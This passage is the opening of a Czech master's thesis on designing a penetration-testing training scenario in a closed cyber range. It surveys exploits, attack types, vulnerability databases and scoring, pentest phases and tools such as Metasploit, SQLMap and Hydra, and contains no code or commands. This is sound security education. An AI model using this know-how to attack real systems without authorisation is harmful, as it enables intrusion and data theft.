}w !"#$%&'()+,-./012345
M ASARYKOVA UNIVERZITA FAKULTA INFORMATIKY
Penetraˇcní testování v prostˇredí Kybernetického polygonu D IPLOMOVÁ PRÁCE
Jaroslav Nespˇešný
Brno, jaro 2014
Prohlášení Prohlašuji, že tato diplomová práce je mým puvodním ˚ autorským dílem, které jsem vypracoval samostatnˇe. Všechny zdroje, prameny a literaturu, které jsem pˇri vypracování používal nebo z nich cˇ erpal, v práci rˇ ádnˇe cituji s uvedením úplného odkazu na pˇríslušný zdroj.
Jaroslav Nespˇešný
ˇ Vedoucí práce: Ing. Pavel Celeda, Ph.D. ii
Podˇekování Na tomto místˇe bych rád podˇekoval všem, kteˇrí mi pˇri zpracování mé diplomové práce ˇ pomáhali. Zejména vedoucímu práce Ing. Pavlovi Celedovi, Ph.D., za cenné rady, vedení a spolupráci. Dále bych chtˇel podˇekovat Mgr. Janu Soukalovi za jeho zájem a cˇ as, který mi vˇenoval. Dˇekuji také Mgr. Martinu Vizvárymu za rychlé reakce pˇri rˇ ešení problému˚ s Kybernetickým polygonem.
iii
Shrnutí Diplomová práce se zabývá vytvoˇrením scénáˇre pro penetraˇcní testování v prostˇredí Kybernetického polygonu. Teoretická cˇ ást seznamuje s aktuálními kybernetickými hrozbami, zranitelnostmi a možnostmi jejich odhalení. Popisuje základní princip penetraˇcního testování, které je spojeno s urˇcitými nástroji a technikami. Dále analyzuje již existující scénáˇre pro výcvik bezpeˇcnostních profesionálu. ˚ Praktická cˇ ást popisuje tvorbu výukového scénáˇre a demonstruje základní zranitelnosti na pˇripraveném zranitelném serveru a testovacím stroji. Výukový scénáˇr si klade za cíl vyškolit odborníky a studenty informatiky v oblasti penetraˇcního testování. Pro snadnˇejší splnˇení jednotlivých úkolu˚ scénáˇre byl vytvoˇren podpurný ˚ materiál.
iv
Klíˇcová slova Kybernetický polygon, penetraˇcní testování, bezpeˇcnostní scénáˇr, exploit, zranitelnost, SQL injekce, XSS, skenování portu, ˚ CVE, Metasploit, Nessus, Nmap
v
Obsah 1 Úvod . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 Bezpeˇcnostní hrozby . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1 Zranitelnosti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.1 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.2 Využívání zranitelností exploity . . . . . . . . . . . . . . . 2.1.3 Útoky . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Možnosti využití informací o zranitelnostech . . . . . . . . . . . . 2.2.1 Zveˇrejnování ˇ chyb . . . . . . . . . . . . . . . . . . . . . . . 2.2.2 Common Vulnerabilities and Exposures . . . . . . . . . . . 2.2.3 Common Vulnerability Scoring System . . . . . . . . . . . 2.2.4 Bugtraq . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Penetraˇcní testování . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1 Princip penetraˇcního testování . . . . . . . . . . . . . . . . . . . . 3.1.1 Dˇelení penetraˇcních testu˚ . . . . . . . . . . . . . . . . . . . 3.1.2 Prubˇ ˚ eh penetraˇcního testování . . . . . . . . . . . . . . . . 3.2 Nástroje . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.1 Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.2 Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.3 OpenVAS a Nessus . . . . . . . . . . . . . . . . . . . . . . . 3.2.4 Metasploit Framework . . . . . . . . . . . . . . . . . . . . . 3.3 Linuxové distribuce pro penetraˇcní testování . . . . . . . . . . . . 4 Rešerše existujících bezpeˇcnostních scénáˇru˚ . . . . . . . . . . . . . . . 4.1 ENISA CERT cviˇcení . . . . . . . . . . . . . . . . . . . . . . . . . . 4.1.1 Exploitace zranitelného webového serveru . . . . . . . . . 4.2 PentesterLab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2.1 Web for Pentester . . . . . . . . . . . . . . . . . . . . . . . . 4.3 Locked Shields 2013 . . . . . . . . . . . . . . . . . . . . . . . . . . 4.3.1 Ofenzivní kampanˇ cˇ erveného týmu . . . . . . . . . . . . . 4.4 Netwars . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.5 Ruxcon 2012 Capture the Flag . . . . . . . . . . . . . . . . . . . . . 4.6 Kybernetický polygon . . . . . . . . . . . . . . . . . . . . . . . . . 4.6.1 Scénáˇr útoku distribuovaného odepˇrení služby . . . . . . 5 Bezpeˇcnostní scénáˇr pro Kybernetický polygon . . . . . . . . . . . . . 5.1 Výukový scénáˇr . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2 Pruzkum ˚ zranitelného operaˇcního systému . . . . . . . . . . . . . 5.2.1 Identifikace topologie . . . . . . . . . . . . . . . . . . . . . 5.2.2 Skenování portu˚ . . . . . . . . . . . . . . . . . . . . . . . . 5.2.3 Vyhledání zranitelností . . . . . . . . . . . . . . . . . . . . 5.2.4 Identifikace zranitelností . . . . . . . . . . . . . . . . . . . . 5.3 Zranitelnost na SQL injekci . . . . . . . . . . . . . . . . . . . . . . 5.3.1 Pˇredání parametru metodou POST . . . . . . . . . . . . . . 5.3.2 Využití nástroje SQLMap pro získání informací o databázi 5.4 Zranitelnost na XSS . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1 2 2 2 3 3 5 5 5 5 6 8 8 8 9 10 10 10 11 11 13 14 14 14 18 18 19 20 21 22 22 23 25 27 27 27 28 29 30 30 31 33 35 vi
5.4.1 Perzistentní XSS . . . . . . . . . . . . . . . . . . . . . . . . . 5.4.2 Neperzistentní XSS . . . . . . . . . . . . . . . . . . . . . . . 5.5 Zranitelnost služby PHP . . . . . . . . . . . . . . . . . . . . . . . . 5.5.1 Navázání spojení pomocí nástroje Metasploit . . . . . . . . 5.5.2 Použití existujícího exploitu . . . . . . . . . . . . . . . . . . 5.6 Zranitelnost služby Samba . . . . . . . . . . . . . . . . . . . . . . . 5.6.1 Navázání spojení a získání administrátorských pravomocí 5.6.2 Získání hashe hesel . . . . . . . . . . . . . . . . . . . . . . . 5.6.3 Prolomení hashe hesel . . . . . . . . . . . . . . . . . . . . . 5.7 Shrnutí a porovnání scénáˇru˚ . . . . . . . . . . . . . . . . . . . . . . 6 Závˇer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A Obsah pˇriloženého CD . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
37 39 39 41 41 43 44 46 47 47 48 54
vii
Kapitola 1
Úvod Informatika je od svého prvopoˇcátku velmi rychle se rozvíjející obor a i proto nebyla vždy vˇenována dostateˇcná pozornost bezpeˇcnosti kybernetického prostoru. Nárust ˚ používání informaˇcních technologií vede k jejich cˇ astˇejšímu zneužívání. Škody, které mohou zpusobit ˚ kybernetické útoky, lze v extrémních pˇrípadech pˇrirovnat i k pˇrírodním katastrofám. Pˇríkladem nebezpeˇcného viru muže ˚ být poˇcítaˇcový cˇ erv Stuxnet [1], který mˇel za úkol napadnout íránský jaderný program. Dopadení útoˇcníku˚ je stále velice obtížné a díky nedokonalé legislativˇe je i vysoce problematické nˇekoho za podobný cˇ in odsoudit. Proto je velmi duležité ˚ útokum ˚ pˇredcházet. S aktuálním požadavkem na zvyšování bezpeˇcnosti informaˇcní infrastruktury úzce souvisí i téma diplomové práce kladoucí si za cíl vyškolit odborníky a studenty informatiky v oblasti penetraˇcního testování. Penetraˇcní testování je vhodný zpusob ˚ pˇredcházení pˇrípadným incidentum ˚ pomocí technik, jež využívají i opravdoví útoˇcníci. Výukový scénáˇr je vytvoˇren v Kybernetickém polygonu, který slouží k simulaci útoku˚ v uzavˇreném prostˇredí a umožnuje ˇ detailní zkoumání realizovaných útoku. ˚ Pro získání schopností testera provádˇet útoˇcné techniky seznamuje nejprve teoretická cˇ ást diplomové práce s aktuálními kybernetickými hrozbami vznikajícími obvykle díky chybám v softwaru. Závadná implementace obvykle vede ke vzniku zranitelnosti, kterou útoˇcník využívá k prolomení systému. S velkým množstvím vznikajících zranitelností je úzce spojena potˇreba jednoznaˇcné identifikace každé chyby, což usnadnuje ˇ práci bezpeˇcnostním odborníkum. ˚ Teoretická cˇ ást práce dále podrobnˇe seznamuje s technikou penetraˇcního testování rozdˇelující postup na nˇekolik obvyklých kroku. ˚ Jednotlivé fáze testování jsou spojeny s urˇcitými nástroji a technikami, s nimiž je nutné se seznámit pˇred zahájením praktických cviˇcení. Pro penetraˇcní testování se obvykle využívá linuxový operaˇcní systém Kali zahrnující pˇredevším nástroje pro zjišt’ování zranitelností systému. ˚ ˇ Cást diplomové práce se vˇenuje existujícím bezpeˇcnostním scénáˇrum ˚ ukazující aktuální trendy, kterými se bezpeˇcnostní cviˇcení ubírají, a zpusoby ˚ výuky penetraˇcního testování. Scénáˇre slouží jako inspirace pˇri vytváˇrení vlastního cviˇcení v Kybernetickém polygonu. Jedno z cviˇcení popisuje existující scénáˇr útoku distribuovaného odepˇrení služby simulovaném v Kybernetickém polygonu a ukazuje možnosti prostˇredí. Vytvoˇrený výukový scénáˇr je rozdˇelen do pˇeti variant demonstrujících základní princip penetraˇcního testování na klíˇcových, velmi diskutovaných skupinách. Pruchod ˚ scénárˇ em usnadnuje ˇ pˇripravený materiál urˇcený k projekci pˇri rˇ ešení jednotlivých úkolu˚ cviˇcení. Scénáˇr je urˇcen pˇredevším pro odborníky se zájmem o bezpeˇcnostní problematiku. Absolvent jednotlivých úkolu˚ získá pˇredstavu o principu penetraˇcního testování a jednoduchosti útoku˚ proti systémum ˚ obsahujícím nezabezpeˇcenou zranitelnost.
1
Kapitola 2
Bezpeˇcnostní hrozby Druhá kapitola má za úkol pˇredstavit souˇcasné kybernetické hrozby, které ohrožují kritickou informaˇcní infrastrukturu [2]. Problematika kybernetických hrozeb je rozebrána od jejich vzniku, jenž nastává bˇehem vývoje softwaru, pˇri nˇemž vznikají zranitelná místa. Útoˇcník jich muže ˚ využít pomocí exploitu. ˚ K provedení útoku je možné využít zranitelností systému˚ nebo naivity uživatelu, ˚ kteˇrí nevˇedomˇe spustí škodlivý kód. Základní typy tˇechto útoku˚ jsou pˇredstaveny v první cˇ ásti kapitoly. Druhá cˇ ást je vˇenována zveˇrejnování ˇ a hodnocení zranitelností.
2.1
Zranitelnosti
Nejprve je potˇreba se zamˇerˇ it na to, proˇc hrozby vznikají. Témˇerˇ v každém softwaru se nachází chyba vyskytující se v operaˇcním systému, webovém prohlížeˇci nebo v programu, kterou útoˇcník chce využít ve svuj ˚ prospˇech. 2.1.1 Exploit Exploit je program nebo sekvence pˇríkazu˚ využívající novˇe objevených cˇ i neopravených slabých míst v systému k cˇ innosti, která je v rozporu se zámˇerem vlastníka systému [3]. Tˇemito chybami lze ovládnout pˇrístup k systému nebo instalovat nebezpeˇcný software. Exploity mohou být využívány velmi rychle, nejˇcastˇeji bˇehem nˇekolika hodin od zveˇrejnˇení bezpeˇcnostní chyby. Proto je velmi duležité ˚ dbát na vˇcasnou instalaci oprav od dodavatele softwaru a tím také zabránit útokum. ˚ Exploit nemusí být jen škodlivý kód, ale muže ˚ být využit i pro testování bezpeˇcnosti systému nebo pro studijní úˇcely [4]. Nejˇcastˇeji se exploity využívají pro ovládnutí poˇcítaˇce nebo získání pˇrístupu k datum. ˚ Dále se vyskytují ve webových prohlížeˇcích nebo v softwarových aplikacích, které komunikují s internetem. Exploity je možné rozdˇelit do dvou skupin podle toho, z jakého místa je exploit spuštˇen. •
•
Lokální exploit (anglicky Local exploit) vyžaduje spuštˇení pˇrímo z napadeného stroje a je k tomu nutný pˇrístup k pˇríkazové rˇ ádce a díky ní nakopírovat exploit do systému nebo získat oprávnˇení vyšší než byla udˇelena správcem systému. Vzdálený exploit (anglicky Remote exploit) je spouštˇen z útoˇcníkova stroje a využívá poˇcítaˇcovou sít’ k zaslání dat na stroj obˇeti, a tak zpusobí ˚ pˇretížení až pád systému, nebo muže ˚ posloužit k získání pˇrístupu ke stroji.
2
ˇ 2. B EZPE CNOSTNÍ HROZBY
2.1.2 Využívání zranitelností exploity Špatná implementace má nejˇcastˇeji za následek vznik zranitelností. Z tohoto duvodu ˚ by organizace mˇely využívat experty s dostateˇcnými zkušenostmi, aby se eliminovala možnost vzniku chyby. Chyby pˇri formátování rˇetˇezce Vznik zranitelnosti je možný díky využití množiny formátovacích funkcí standardní knihovny jazyka C (fprintf(), printf(), sprintf(), snprintf(), vprintf(), vsprintf(), vsnprintf()) [5, 6]. Všechny funkce mají jako první argument formátovací rˇ etˇezec, který urˇcuje podobu dalších argumentu˚ a jejich poˇcet. Tuto zranitelnost lze využít, pokud má uživatel možnost ovlivnit formátovací rˇ etˇezec. Pˇreteˇcení zásobníku Jedná se o typ zranitelnosti patˇrící mezi nejvíce zneužívané a nejvíce nebezpeˇcné. Princip spoˇcívá v pˇreteˇcení hranic vyrovnávací pamˇeti (bufferu) a k pˇrepsání pˇrilehlé pamˇeti. Pˇrepsaná data mohou být spustitelným kódem, který se provede po jeho zavolání [7]. Injekce kódu Injekce kódu je založena na zneužití oprávnˇení, kdy zranitelná aplikace zapíše nedu˚ vˇeryhodný spustitelný kód do pamˇet’ového prostoru [8]. Tento kód se pomocí speciálních voláni operaˇcního systému spustí. Injekce kódu je obvykle možná díky nedostateˇcnému ošetˇrení vstupních a výstupních dat, napˇr. povolené znaky, formát dat, množství oˇcekávaných dat. Popisovaný typ ohrožení se skládá z dobˇre známých útoˇcných technik proti webovým aplikacím, jako jsou [9]: • • • • •
SQL injekce, cross-site scripting (XSS), cross-site request forgery (CSRF), remote file inclusion (RFI), PHP injekce, atd.
2.1.3 Útoky Zranitelnosti, které již byly uvedeny, lze použít pˇri více cˇ i ménˇe složitých útocích. Pˇri snaze poškodit systém je také možné využít tzv. sociálního inženýrství, pomocí nˇehož je manipulováno s lidmi, za úˇcelem provedení urˇcité akce nebo získání specifické informace [10]. Stažení nebezpeˇcného kódu Pˇríkladem útoku využívající exploity je Drive by Download [9] nebo také Drive by Exploit. Vlastní útok se provádí pomocí nahrání škodlivého kódu do HTML kódu webové stránky, který zneužívá zranitelností webového prohlížeˇce, sníženého zabezpeˇcení poˇcítaˇce nebo prohlížení e-mailové zprávy ve formátu HTTP. Škodlivý program se stáhne do poˇcítaˇce bez souhlasu cˇ i vˇedomí uživatele, aniž by musel následovat odkaz uvedený na stránce 3
ˇ 2. B EZPE CNOSTNÍ HROZBY
nebo v e-mailu. Hackeˇri používají ruzné ˚ techniky ke zmatení antivirového softwaru, aby nebyl schopen rozpoznat, že jde o škodlivý program. Získání nepovoleného pˇrístupu k systému Nepovolený pˇrístup k systému lze získat nˇekolika zpusoby, ˚ které jsou sofistikovanˇejší formou útoku, ˚ než využití holých exploitu. ˚ ˇ Cerv a Trojský ku˚ nˇ jsou útoky šíˇrené mezi poˇcítaˇci pomocí škodlivého kódu, který se snaží získat pˇrístup k systému nebo k citlivým informacím z napadeného stroje [11, 12, 13]. ˇ Cerv se navíc oproti trojskému koni dokáže šíˇrit poˇcítaˇcovou sítí. Tˇemto zákeˇrným útokum ˚ se nˇekdy souhrnnˇe rˇ íká malware. Phishing je technika snažící se získat pˇrístup k systému [14]. Principem tohoto útoku je zasílání e-mailu˚ se zámˇerem získat pˇrihlašovací údaje, které obˇet’ sama odešle útoˇcníkovi nebo si nainstaluje program, pomocí nˇejž vnikne do systému. ˚ Prolomení hesel slouží k prolomení ochrany nebo autorizace provádˇena heslem, jenž bylo uloženo nebo pˇrenášeno poˇcítaˇcovým systémem [2]. Princip spoˇcívá v opakovaném zkoušení nejruznˇ ˚ ejší kombinace znaku, ˚ které podle analýzy systému mají smysl zadávat. Pˇri tzv. útoku hrubou silou (anglicky Brute-force attack) se generují všechny možné kombinace potˇrebné délky. Prolomení hesel je také možné realizovat pomocí slovníkového útoku (anglicky Dictionary attack), pˇri nˇemž útoˇcník zkouší použít cˇ asto využívaná slova z databáze slov nebo získaná hesla z hašované podoby. Zpusobení ˚ nedostupnosti služby Odmítnutí služby (DoS, anglicky Denial of Service attack) jsou sít’ové útoky, které brání pˇrístupu ke službám [15]. Nedostupnosti služby lze dosáhnout využitím znalostí o jejích zranitelnostech, pomocí kompromitovaných systému˚ provádˇejících útok nebo je možné využít existující nástroje pro útok na šíˇrku pásma cˇ i nástroji pro záplavu pakety. Distribuované útoky odepˇrením služby (DDoS, anglicky Distributed Denial of Service attack) jsou pˇríznaˇcné velkým množstvím kompromitovaných systému˚ útoˇcících na jediný cíl [16]. Úˇcelem tohoto útoku je pˇretížit, restartovat nebo uˇcinit nestabilní danou službu typicky zasláním mnoha požadavku˚ a tím zpusobit ˚ nedostupnost služby pro uživatele cílového systému. Zablokování nebo zpomalení muže ˚ být pro nˇekteré systémy kritické. Nˇekdy je tento útok používán pro zamaskování stop po jiném útoku nebo za úˇcelem restartování systému, pˇri kterém se projeví zmˇeny, které hacker vykonal. Útoˇcník pˇri vykonávání útoku nejdˇríve potˇrebuje získat tzv. boty (zombie), což je napadený poˇcítaˇc, do kterého pronikl hacker a nahrál zde program. Uživatel obvykle neví, že má nahrán škodlivý program na svém systému. Program vyˇckává do té doby, než útoˇcník pˇres prostˇredníky zadá pokyn ke hromadnému útoku. Nˇekolik takto napadených poˇcítaˇcu˚ se nazývá botnet. DDoS útok je schopen, oproti DoS útoku, vygenerovat vˇetší množství požadavku˚ díky distribuovanému charakteru, cˇ ímž muže ˚ zpusobit ˚ rychlejší a vˇetší pˇretížení celého systému. DDoS je ale daleko huˇ ˚ re odhalitelný, jelikož je útok smˇerˇ ován z mnoha IP adres. Hrozba je identifikována jako jedna z nejvˇetších pro sít’ové zabezpeˇcení. Obrana proti takovému útoku je velmi obtížná. 4
ˇ 2. B EZPE CNOSTNÍ HROZBY
2.2
Možnosti využití informací o zranitelnostech
2.2.1 Zveˇrejnování ˇ chyb V poˇcítaˇcové bezpeˇcnosti je velmi duležité, ˚ jakým zpusobem ˚ je nakládáno s objevenou bezpeˇcnostní chybou. V této problematice existuje nˇekolik názoru˚ [17]. Nejvíce podporovanou myšlenkou je zodpovˇedné odhalení (anglicky Responsible disclosure), kdy zveˇrejnˇení chyby je pozdrženo o nˇekolik týdnu, ˚ aby výrobce softwaru mohl vytvoˇrit záplatu. Tento postup zahrnuje dohodnutí zainteresovaných stran na termínu zveˇrejnˇení a zdokumentování zranitelnosti. Jiným extrémnˇejším názorem je, že by se mˇely chyby zveˇrejnovat ˇ ihned (anglicky Full disclosure) po objevení a tím pˇrinutit vývojáˇre k rychlejšímu opravení chyby. Je nutné si ale uvˇedomit, že systém je v takovéto chvíli nechránˇený a v dobˇe, kdy je vytváˇrena záplata, muže ˚ docházet k vytváˇrení programu, ˚ které velmi snadno dovolí provést útok i nezkušeným útoˇcníkum. ˚ V tˇechto pˇrístupech vždy dojde ke zveˇrejnˇení chyby a tím vznikne možnost využít chybu na systémy, které nestihly instalovat záplatu. Díky této skuteˇcnosti existuje i názor, že by chyby nemˇely být zveˇrejnovány ˇ nikdy, protože pravdˇepodobnost útoku je velmi malá, pokud nejsou známy bezpeˇcnostní chyby. Tento princip bezpeˇcnosti skrze utajení (anglicky Security through obscurity) vyžaduje, aby byl utajený i zdrojový kód softwaru. Utajování zranitelností muže ˚ vést k zdánlivému pocitu bezpeˇcí. 2.2.2 Common Vulnerabilities and Exposures Z duvod ˚ u˚ odhalování velkého množství zranitelností vznikla potˇreba vytvoˇrit jednotné formy zpracování zpráv o novˇe objevených bezpeˇcnostních hrozbách, aby bylo usnadnˇeno vyhledávání, zveˇrejnování ˇ zpráv nebo aby bylo snadnˇejší šíˇrení informací. Takovýmto standardizaˇcním systémem se stal Common Vulnerabilities and Exposures (CVE) [18] jednoznaˇcnˇe identifikující každou hrozbu, která byla schválena organizací Mitre a uložena do velmi rozsáhlé databáze. V celém seznamu hrozeb je možno vyhledávat a je veˇrejnˇe dostupný. Každá položka v databázi obsahuje položky [5]: • • • • •
CVE-ID – identifikátor CVE, napˇr. CVE-2013-2460, description – standardizovaný popis zranitelnosti – jméno zasaženého produktu a dodavatele, typ zranitelnosti, dusledky ˚ zneužití, k cˇ emu musí mít útoˇcník pˇrístup atd., references – vybrané odkazy usnadnující ˇ rozlišit zranitelnosti, nejde o kompletní seznam, date entry created – datum, kdy byla zranitelnost pˇridána do databáze (nutnˇe neznamená, kdy byla objevena), další položky, které se již nevyužívají.
2.2.3 Common Vulnerability Scoring System Se zpracováním zprávy o zranitelnosti souvisí i vyhodnocení její závažnosti pro konkrétní systém. Pro tuto práci existuje standard Common Vulnerability Scoring System (CVSS) [19]. Hodnocení je založeno na základˇe posouzení tˇrí skupin metrik (skupina základních metrik, skupina doˇcasných metrik a metrika prostˇredí). Z každé skupiny se vytvoˇrí cˇ íselné skóre (v rozmezí 0 až 10) a jednotlivé skóre je složeno z nˇekolika charakteristik, které jsou ve zkráceném textovém vyjádˇrení nazvaném jako Vector, jenž odráží hodnoty použité k odvození poˇctu bodu. ˚ 5
ˇ 2. B EZPE CNOSTNÍ HROZBY
Skupina základních metrik Skupina základních metrik zachycuje zranitelnosti, které jsou konstantní v cˇ ase a v rámci uživatelského prostˇredí. Tyto vlastnosti se nemˇení bˇehem celé existence zranitelnosti. V závorce jsou uvedeny hodnoty, kterých mohou jednotlivé položky nabývat. Použité charakteristiky jsou [20]: • • • • • •
vektor pˇrístupu – vyjadˇruje, odkud je zranitelnost možné zneužít (lokální sít’, sousední sít’ nebo vzdálená sít’), složitost pˇrístupu – úsilí vynaložené pro využití zranitelnosti (nízké, stˇrední nebo vysoké), autentizace – poˇcet pokusu˚ autentizace na cílovém systému (mnoho, jeden nebo žádný), dopad na duvˇ ˚ ernost – jaký dopad bude mít narušení duvˇ ˚ ernosti cílového systému (žádný, cˇ ásteˇcný nebo úplný), dopad na integritu – jaký dopad bude mít narušení integrity (integrita - duvˇ ˚ ernost a zaruˇcení pravdivosti informací) cílového systému (žádný, cˇ ásteˇcný nebo úplný), dopad na dostupnost – jaký dopad bude mít nedostupnost cílového systému (žádný, cˇ ásteˇcný nebo úplný).
Skupina doˇcasných metrik Doˇcasné metriky pˇredstavují zranitelnosti, které se mohou mˇenit v cˇ ase. Použité charakteristiky jsou: •
• •
zneužitelnost – souˇcasné techniky a možnosti pro zneužití zranitelnosti, jaká je dostupnost exploitu, existence kódu ukazující chybu (neprokázaná zneužitelnost, dukaz ˚ formou konceptu, funkˇcní dukaz, ˚ vysoká zneužitelnost nebo nedefinovaná hodnota), stupenˇ nápravy – souˇcasný stav dostupných opravných metod (oficiální oprava, docˇ asná oprava, neoficiální oprava, nedostupná oprava nebo nedefinovaná hodnota), duvˇ ˚ eryhodnost zpráv o zranitelnosti – míra duvˇ ˚ ery existence zranitelnosti a jejich známých technických detailu˚ (neovˇerˇ ený zdroj, neoficiální zdroje nebo potvrzené dodavatelem systému).
Metrika prostˇredí Ruzná ˚ prostˇredí mohou mít obrovský vliv na zranitelnost a na riziko pro organizaci a její zainteresované strany. Metriky prostˇredí jsou volitelné. Metrické hodnoty nemají žádný vliv na skóre a je možné je pˇreskoˇcit, pokud nemá prostˇredí žádný vliv na zranitelnost. • • •
potenciální vedlejší škody – možnost ztráty života nebo fyzických aktiv (žádná, nízká, stˇrednˇe nízká, stˇrednˇe vysoká, vysoká nebo nedefinovaná hodnota), cílová distribuce – pˇredstavuje množství ohrožených systému˚ (žádný, málo, stˇrednˇe, hodnˇe nebo nedefinovaná hodnota), bezpeˇcnostní požadavky – požadavky kladené na duvˇ ˚ ernost, zajištˇení integrity a dostupnosti (žádné, málo, stˇrednˇe, hodnˇe nebo nedefinovaná hodnota).
2.2.4 Bugtraq Bugtraq je elektronický mailový list vˇenovaný diskusi zabývající se otázkou zranitelností produktu˚ a jejich následnému zabezpeˇcení [21]. Bugtraq zahrnuje SecurityFocus da6
ˇ 2. B EZPE CNOSTNÍ HROZBY
tabázi známých zranitelností [22]. U zranitelností je obvykle možné dohledat následující informace [23]: • • • • • • • •
identifikátor BugTraq, identifikátor CVE, verze produktu, ˚ kterých se zranitelnost týká, exploity, programy, skripty nebo podrobné postupy popisující využití zranitelnosti, doˇcasné rˇ ešení problému, opravy, odkazy na nové nebo aktualizované bezpeˇcnostní nástroje, zkušenosti v jednání s dodavateli cˇ i bezpeˇcnostními organizacemi, nápady, které by mohly vést k vyˇrešení problému.
Bugtraq je hlavním zástupcem prosazujícím politiku publikování zranitelností (úplné zveˇrejnˇení zranitelnosti) bez ohledu na reakci dodavatelu. ˚ Nicménˇe Bugtraq neposkytuje informace o tom, jak objevit chybu, ale pouze odkazuje na identifikátor CVE. Existuje mnoho dalších databází a metrik pro zachycení správných vlastností zranitelností. V pˇredchozím textu byly popsány nejvíce využívané metody. V knize [24] je popsáno mnoho dalších metod.
7
Kapitola 3
Penetraˇcní testování Ve tˇretí kapitole je detailnˇe popsán zpusob, ˚ jakým je možné provádˇet penetraˇcní testování a jakými zpusoby ˚ je možno testování dˇelit. Kapitola pˇredstavuje nástroje, které penetraˇcní tester obvykle využívá ke své cˇ innosti. Na konci kapitoly je uvedena distribuce operaˇcního systému zahrnující nástroje, které jsou nutné pro penetraˇcní testování.
3.1
Princip penetraˇcního testování
Penetraˇcní testování je zpusob, ˚ jak bezpeˇcnˇe odhalit v poˇcítaˇcovém systému jeho slabinu pomocí aktuálních útoˇcných technik a taktik, které by mohli použít opravdoví útoˇcníci k pruniku ˚ do infrastruktury systému [25, 26]. Tento proces zahrnuje analýzu systému, ˚ pomocí níž je vlastník systému informován o aktuálním stavu bezpeˇcnosti systému. Penetraˇcní test je jedním z nejúˇcinnˇejších zpusob ˚ u, ˚ jak odhalit bezpeˇcnostní chyby, které jsou zpusobeny ˚ špatným nastavením systému cˇ i hardwarovými a softwarovými nedostatky. Test probíhá v kontrolovaném prostˇredí tak, aby nedošlo ke skuteˇcným ztrátám.
3.1.1 Dˇelení penetraˇcních testu˚ Vnitˇrní testování je provádˇeno uvnitˇr sítˇe testované spoleˇcnosti [27]. Napodobuje útok vedený za firewallem obvykle autorizovaným uživatelem se standardními pˇrístupovými právy. Tento druh zkoušky je užiteˇcný pro odhadnutí, jak velkou škodu dokáže zpusobit ˚ nespokojený zamˇestnanec. Prunik ˚ z vnitˇrní sítˇe muže ˚ být také veden útoˇcníkem, který dokázal pˇrímo pˇripojit své zaˇrízení do interní sítˇe nebo získal pˇrihlašovací údaje k poˇcítaˇci v této síti. Další možností, jak proniknout do systému, muže ˚ být metoda sociálního inženýrství, kdy útoˇcník nevyužije technickou metodu, ale manipuluje uživatelem, napˇríklad podstrˇcí spustitelný kód pro získání pˇrístupu do systému. Vnˇejší testování napodobuje útok vedený pˇred firewallem (typicky z internetu) na vnˇejší rozhraní firewallu. Útok je veden na servery umístˇené v demilitarizované zónˇe (DMZ), jako jsou napˇr. e-mailové servery a webové servery, nebo na zaˇrízení zahrnující doménové servery (DNS). Destruktivní testy prakticky ovˇerˇ ují objevené zranitelnosti, což muže ˚ vést k selhání testovaného systému, napˇr. bˇehem testování systému pomocí napadení útokem DDoS. Nedestruktivní testy mohou odhalit chyby ještˇe pˇred tím, než je použito razantní destruktivní testování. Dalším dˇelením muže ˚ být množství informací, které o zkoumaném systému útoˇcník má. Black box neboli Zero knowledge testování lze oznaˇcit jako více podobné útoˇcníkovi, který má pouze minimální znalosti. White box lze pˇrirovnat k útoˇcníkovi, který napˇríklad v urˇcité organizaci dˇríve pracoval. 8
ˇ 3. P ENETRA CNÍ TESTOVÁNÍ
3.1.2 Prubˇ ˚ eh penetraˇcního testování Prubˇ ˚ eh penetraˇcního testování sestává z nˇekolika kroku˚ [28], jež se mohou pro jednotlivé testy ruznit. ˚ Nˇekteré kroky mohou být pˇreskoˇceny nebo slouˇceny. Pro úˇcely diplomové práce bylo rozdˇeleno penetraˇcní testování do osmi fází. Pˇrehled fází a jejich odpovídajících nástroju˚ je znázornˇen v tabulce 3.1. Název Urˇcení rozsahu Identifikace cíle Pruzkum ˚ prostˇredí Vyhledání zranitelností Identifikace zranitelností Zneužití zranitelností Vytvoˇrení zprávy Eliminace zranitelností
Popis Vymezení cílu˚ a prubˇ ˚ ehu penetraˇcního testování (black-box, white-box) Získávání informací o testovaném prostˇredí Skenování portu, ˚ analýza filtrovacích mechanizmu, ˚ odhad topologie Automatické skenování bezpeˇcnostních slabin Online vyhledávání zranitelností Praktická ukázka zneužití systému Prolomení hesla SQL Injekce Útoky hrubou silou Zpráva pro vlastníka zahrnující nalezené zranitelnosti a doporuˇcené kroky pro eliminaci Odstranˇení nebo snížení závažnosti nalezených zranitelností
Nástroje
Whois, Dig, Nslookup, Google Nmap Nessus, OpenVAS, Retina, ISS Security Scanner CVE, Securityfocus (Bugtraq), CVSS, Exploit-db, CVE Details Metasploit Framefork John the Ripper, Ncrack SQLMap Hydra
Tabulka 3.1: Kroky penetraˇcního testování •
•
•
•
•
